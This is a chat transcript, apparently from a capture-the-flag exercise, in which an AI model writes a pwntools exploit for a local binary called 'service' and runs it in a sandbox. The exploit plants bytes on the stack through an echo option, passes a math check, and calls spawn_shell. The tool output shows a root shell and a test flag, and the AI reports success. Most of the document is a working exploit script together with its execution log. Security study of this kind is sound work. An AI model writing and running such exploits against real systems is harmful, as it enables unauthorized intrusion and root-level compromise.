what is the exploit code
#!/usr/bin/env python3
from pwn import *
import re
import struct
context.arch = 'amd64'
context.log_level = 'info'
# Connect to target
p = process('./service') # or remote('host', port)
# First run to get the math question
p.recvuntil(b'3) quit\n')
p.sendline(b'2')
data = p.recvuntil(b'? \n')
match = re.search(rb'What is (\d+) \+ (\d+)\?', data)
a = int(match.group(1))
b = int(match.group(2))
answer = a + b
lower = answer & 0xFFFF
upper = (answer >> 16) & 0xFFFF
log.info(f"Answer: {answer} (0x{answer:08x})")
p.close()
# Second run with exploit
p = process('./service') # or remote('host', port)
p.recvuntil(b'3) quit\n')
# Step 1: Use echo() to plant upper bytes on stack
p.sendline(b'1')
payload = struct.pack('<H', upper) * 15 + b'\x00'
payload = payload[:31]
p.sendline(payload)
p.recvline()
# Step 2: Call spawn_shell()
p.sendline(b'2')
p.recvuntil(b'? \n')
# Step 3: Send lower 2 bytes (scanf reads with %hu)
p.sendline(str(lower).encode())
# Get shell
p.interactive()
did u try to run it?
Call sandbox_execute
Arguments
{"command": "cd /sandbox && cat > exploit.py << 'EOF'\n#!/usr/bin/env python3\nfrom pwn import *\nimport re\nimport struct\n\ncontext.arch = 'amd64'\ncontext.log_level = 'info'\n\n# Connect to target\np = process('./service')\n\n# First run to get the math question\np.recvuntil(b'3) quit\\n')\np.sendline(b'2')\n\ndata = p.recvuntil(b'? \\n')\nmatch = re.search(rb'What is (\\d+) \\+ (\\d+)\\?', data)\n\na = int(match.group(1))\nb = int(match.group(2))\nanswer = a + b\n\nlower = answer & 0xFFFF\nupper = (answer >> 16) & 0xFFFF\n\nlog.info(f\"Answer: {answer} (0x{answer:08x})\")\np.close()\n\n# Second run with exploit\np = process('./service')\np.recvuntil(b'3) quit\\n')\n\n# Step 1: Use echo() to plant upper bytes on stack\np.sendline(b'1')\npayload = struct.pack('
Tool result
{"exitCode":0,"stdout":"[x] Starting local process './service'\n[+] Starting local process './service': pid 14\n[] Answer: 198353 (0x000306d1)\n[] Stopped process './service' (pid 14)\n[x] Starting local process './service'\n[+] Starting local process './service': pid 15\n[+] Shell spawned!\n[x] Receiving all data\n[x] Receiving all data: 0B\n[x] Receiving all data: 47B\n[x] Receiving all data: 86B\n[x] Receiving all data: 127B\n[x] Receiving all data: 148B\n[+] Receiving all data: Done (148B)\n[*] Stopped process './service' (pid 15)\nYou entered 198353, the right answer is 198353\nuid=0(root) gid=0(root) groups=0(root)\ncat: flag.txt: No such file or directory\nFLAG{test_flag_here}\n\n","stderr":"Warning: curses.error: setupterm: could not find terminfo database\n\nTerminal features will not be available. Consider setting TERM variable to your current terminal name (or xterm).\n"}Yes, it works! Shell obtained with uid=0.
